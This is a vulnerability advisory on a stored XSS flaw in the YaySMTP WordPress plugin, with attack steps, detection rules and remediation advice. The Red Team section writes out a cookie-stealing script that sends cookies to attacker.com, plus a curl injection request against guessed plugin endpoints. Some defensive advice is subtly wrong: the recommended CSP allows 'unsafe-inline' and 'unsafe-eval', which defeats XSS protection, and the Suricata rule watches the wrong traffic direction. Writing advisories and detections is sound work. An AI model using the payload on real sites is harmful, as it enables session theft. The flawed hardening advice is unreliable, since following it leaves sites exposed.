CVE-2025-0957

Executive Summary

CVE-2025-0957 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the YaySMTP – SMTP for Amazon SES WordPress plugin, versions up to and including 1.7.1. This flaw allows unauthenticated attackers to inject arbitrary web scripts into pages that will execute whenever a user accesses the injected page. The vulnerability stems from insufficient input sanitization and output escaping within the plugin.

As this is a WordPress plugin vulnerability, the attack surface is the WordPress ecosystem, not the underlying web server (Apache/Nginx). The plugin is used to configure Amazon SES SMTP settings, making it a high-value target for attackers seeking to compromise email infrastructure or perform phishing campaigns.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. No NPM, PyPI, Go, or Ruby packages are involved. The risk is primarily to WordPress site administrators who have installed this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – Unauthenticated attackers can exploit this.
• User Interaction (UI): Required – The victim must access the injected page.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: High. The combination of unauthenticated access and stored XSS makes this a serious threat for WordPress sites using this plugin. Attackers can inject persistent malicious scripts that execute in the context of any user viewing the affected page.

Deep Dive & Mechanics

The vulnerability exists in the YaySMTP plugin's handling of user-supplied input, likely in the plugin's settings or log viewing pages. The plugin fails to properly sanitize input and escape output, allowing attackers to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An unauthenticated attacker identifies a vulnerable WordPress site running YaySMTP <= 1.7.1.
2. The attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it via a vulnerable input field (e.g., SMTP settings, log entries, or other user-controllable parameters).
3. The plugin stores this payload without proper sanitization.
4. When a WordPress administrator or other user accesses the page that displays this stored data (e.g., the plugin's settings page or log viewer), the malicious script executes in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect them to malicious sites.

Root Cause: The plugin uses functions like echo or print to output user-supplied data without applying WordPress's escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()). Additionally, input is not sanitized using functions like sanitize_text_field() or wp_kses().

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (Example):

// In a settings page or log viewer
echo '<div class="log-entry">' . $user_input . '</div>';

Patched Code (Example):

// Properly escape output
echo '<div class="log-entry">' . esc_html( $user_input ) . '</div>';

Key Differences:

• The vulnerable code directly outputs user input without escaping.
• The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.
• Input should also be sanitized on submission using sanitize_text_field() or wp_kses().

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with YaySMTP plugin version <= 1.7.1 installed and activated.
• Network access to the site.

Exploitation Steps:

1. Identify the vulnerable input field. Common targets include the plugin's settings page (e.g., /wp-admin/admin.php?page=yaysmtp) or any log viewer.
2. Craft a payload. For example:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Submit the payload via a POST request to the vulnerable endpoint. Example using cURL:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
     -d 'action=yaysmtp_save_settings&field_name=<script>alert(1)</script>'
   

4. Wait for an administrator to visit the affected page.
5. The script executes, sending the admin's session cookie to the attacker's server.

Note: No public exploit code is available at this time.

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual POST requests to plugin-specific endpoints (e.g., admin-ajax.php with action=yaysmtp_*).
2. Look for suspicious characters in plugin settings fields (e.g., <script>, onerror=, javascript:).
3. Check WordPress database for stored XSS payloads in plugin options or post meta.
4. Review web server logs for requests containing XSS patterns.

Hunting Query (SQL):

SELECT * FROM wp_options WHERE option_name LIKE '%yaysmtp%' AND option_value LIKE '%<script%';

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=yaysmtp_* parameters containing HTML/JavaScript.
  • Outbound connections to known malicious domains from the WordPress admin interface.

• Host IOCs:

  • Presence of <script> tags or event handlers (e.g., onload, onerror) in the wp_options table under yaysmtp_* option names.
  • Modified plugin files (check file integrity against original plugin distribution).
  • Unexpected entries in the WordPress error log related to the YaySMTP plugin.

• File IOCs:

  • Suspicious files in /wp-content/plugins/yaysmtp/ directory (e.g., backdoored PHP files).
  • Modified .htaccess or wp-config.php files (indicates post-exploitation).

Detection Engineering

YARA Rule

rule CVE_2025_0957_YaySMTP_XSS {
    meta:
        description = "Detects stored XSS payloads in YaySMTP plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-0957"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/is
        $yaysmtp_option = /yaysmtp_/i
    condition:
        $yaysmtp_option and ($xss_payload or $event_handler)
}

Sigma Rule

title: Stored XSS via YaySMTP Plugin
id: 8f4a2b1c-3d5e-4f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects potential stored XSS attacks against the YaySMTP WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=yaysmtp_'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate plugin configuration changes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-0957 - YaySMTP Stored XSS Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=yaysmtp_";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available. Navigate to WordPress Admin > Plugins and deactivate "YaySMTP – SMTP for Amazon SES".
2. Remove any stored malicious data from the database. Check the wp_options table for yaysmtp_* entries and sanitize them.
3. Review user accounts for signs of compromise, especially administrator accounts.

Long-term Mitigation:

1. Apply a Web Application Firewall (WAF) rule to block XSS payloads targeting the plugin.
2. Monitor the plugin's official page for a security update. Subscribe to WordPress security advisories.
3. Implement Content Security Policy (CSP) headers to mitigate XSS impact:

   Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
   

4. Use a security plugin like Wordfence or Sucuri to add an additional layer of protection.
5. Regularly audit plugins and remove unused ones.

Patch Status: UNKNOWN. The vendor has not released a patch. Consider switching to an alternative SMTP plugin if this one is critical to operations.

Valters IT
Securing Digital Frontiers